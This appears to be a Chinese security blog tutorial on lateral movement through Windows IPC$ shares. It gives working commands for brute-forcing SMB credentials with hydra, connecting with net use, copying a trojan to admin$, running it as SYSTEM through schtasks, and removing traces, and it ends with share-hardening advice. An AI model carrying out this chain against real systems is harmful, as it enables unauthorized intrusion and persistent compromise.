类别:Win其它 / 日期:2024-08-06 / 浏览:62 / 评论:0
0x00 前言
IPC$(Internet process connection)
,是window
系统让进程间通信而开放的命名管道。
系统会默认开启IPC$
共享文件服务。我们可以通过IPC
获取目标的文件管理权限,上传生成的木马后,建立定时任务,实现横向渗透。
0x01 利用
1.1 利用条件
一般情况下系统都会默认开启IPC$
服务。
开放了139或445端口
1.2 命令
一些常用的命令:
net share #查看自己的共享
net view \\127.0.0.1 #查看目标共享资源
net use \\127.0.0.1\ipc$ "" /user:"" #建立空连接
net use \\127.0.0.1\ipc$ "password" /user:"username" #建立完整连接
net use \\127.0.0.1\ipc$ /del #删除IPC$连接
net use z: \\127.0.0.1\c$ #直接访问
net use c: /del #删除映射的c盘
net use * /del /y #删除全部连接不提示
net use\\去连接的IP地址\ipc$ "域成员密码" /user:域名\域成员账号
dir \\momaek.com\c$
copy test.exe \\127.0.0.1\admin$ 复制文件至目标服务器的共享目录c盘的Windows目录下
copy test.exe \\momaek.com\c$
net use \\192.168.100.1\ipc$ /del 删除ipc$连接
1.3 利用过程
使用工具爆破出账户名密码。
hydra -l administrator -P pwd.txt -f 192.168.30.136 smb
使用net use \\192.168.30.136\ipc$ "QWEqwe123" /user:"administrator"
建立连接。
然后上传生成好的木马文件。
copy C:\Users\USER\Desktop\test.exe \\192.168.30.136\admin$
也可以使用net use k: \\192.168.30.136\c$ /u:"administrator" "QWEqwe123"
映射磁盘进行操作。
使用schtask
创建计划任务。
上传生成好的木马文件会存放在c
盘的Windows
目录下。
schtasks /create /s 192.168.30.136 /u administrator /p QWEqwe123 /tn test /sc minute /mo 1 /tr C:\Windows\test.exe /ru system /f
查看一下计划任务。
schtasks /query /s 192.168.30.136 /u administrator /p QWEqwe123 /tn test
拿到权限。
注意使用schtasks
时会在C:\Windows\Tasks\SchedLgU.txt
留下痕迹。
利用完成后使用:
schtasks /delete /s 192.168.30.136 /u administrator /p QWEqwe123 /tn test
删除计划任务。
1.3 会出现的问题
现在高版本的IPC$
共享空连接的一些基础查询都会拒绝访问。
也有可能是使用的用户不是管理员权限。
发生系统错误 1219
。
是因为IPC$
在同一时间内,两个IP
之间只允许建立一个连接。
使用net use \\192.168.30.136\ipc$ /del
重新连接即可。
还有一些其他的问题:
错误号51 #Windows无法找到网络路径:网络有问题;
错误号53 #找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67 #找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1792 #试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242 #此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
1.4 如何防范ipc$入侵
删除共享:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
停止server
服务,但重启后会重新启动该服务。
net stop server /y
通过修改注册表禁止自动打开默认共享:
禁止C$、D$、E$一类的共享:
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
新建一个DOWRD值“AutoShareServer”设置为“0”。
禁止ADMIN$共享:
新建一个DOWRD值“AutoShareWKs”设置为“0”。